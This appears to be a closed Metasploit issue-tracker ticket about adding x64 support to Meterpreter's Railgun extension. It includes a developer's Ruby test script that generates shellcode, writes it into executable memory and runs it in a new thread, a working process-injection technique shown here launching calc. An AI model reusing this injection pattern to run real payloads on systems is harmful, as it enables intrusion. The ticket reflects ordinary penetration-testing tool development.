Feature #2516
Railgun for x64
| Status: | Closed | Start date: | 09/10/2010 | |
|---|---|---|---|---|
| Priority: | Normal | Due date: | ||
| Assignee: | Stephen Fewer | % Done: | 0% |
|
| Category: | meterpreter - win32 | |||
| Target version: | - | |||
| Resolution: | fixed | How To Use: | ||
| Release Note: |
Description
Just making a ticket for tracking, since one didn't currently exist.
History
Updated by Stephen Fewer over 1 year ago
- Category set to meterpreter - win32
- Status changed from New to Assigned
- Assignee set to Stephen Fewer
Have most of this done, should have it finished & committed in the next couple of days.
Updated by Stephen Fewer over 1 year ago
- Status changed from Assigned to Closed
- Resolution set to fixed
Committed r10317, r10318, r10319, r10320 to complete support for x64 railgun as well as moving it directly into stdapi. The only change needed to existing scripts is to remove the call to 'client.core.use("railgun")' (see r10321) as it is no longer needed.
I added support for LPVOID types as well as HANDLE as their are some issues between x86/x64 that needed to be addressed. I was using a simple script to help test some of this (specifically LPVOID stuff like VirtualAlloc where we dont want railgun to back the memory ala a PBLOB as well as the obvious pointer size changes between x86/x64).
# sf - Sept 2010 - Simple test for x86/x64 shellcode injecting via RAILGUN
print_status( "Starting the injection test..." )
begin
arch = ''
# 1. create a simple shellcode which will pop a calc when executed...
if( client.platform =~ /x64/i )
# 1.1 get a handle to our current process...
result = client.railgun.kernel32.GetCurrentProcess()
current_process = result['return']
raise "GetCurrentProcess failed" if not current_process
# 1.2. check if our current process is native x64 or wow64...
result = client.railgun.kernel32.IsWow64Process( current_process, 1 );
raise "IsWow64Process failed" if not result['return']
# 1.3. create the correct payload for the host process...
if( result['Wow64Process'] == 1 )
arch = 'x86'
payload = client.framework.payloads.create( "windows/exec" )
else
arch = 'x64'
payload = client.framework.payloads.create( "windows/x64/exec" )
end
else
arch = 'x86'
payload = client.framework.payloads.create( "windows/exec" )
end
payload.datastore['CMD'] = 'calc'
payload.datastore['EXITFUNC'] = 'thread'
shellcode = payload.generate
# 2. alloc some RWX memory on the host system (in the meterpreters host process)...
result = client.railgun.kernel32.VirtualAlloc( nil, shellcode.length, "MEM_COMMIT|MEM_RESERVE", "PAGE_EXECUTE_READWRITE" )
address = result['return']
raise "VirtualAlloc failed" if not address
# 3. copy the shellcode over to the new RWX buffer...
raise "memwrite failed" if not client.railgun.memwrite( address, shellcode, shellcode.length )
# 4. create a new thread in a suspended state with the start address being our shellcode...
result = client.railgun.kernel32.CreateThread( nil, 0, address, nil, "CREATE_SUSPENDED", nil )
handle = result['return']
raise "CreateThread failed" if not handle
# 5. resume the thread, executing our shellcode...
result = client.railgun.kernel32.ResumeThread( handle )
raise "ResumeThread failed" if not result['return']
print_status( "Thread 0x%X is running the #{arch} shellcode located at 0x%X" % [ handle, address ] )
rescue ::Exception => e
print_error( "#{e}" )
end
print_status( "Finished the injection test." )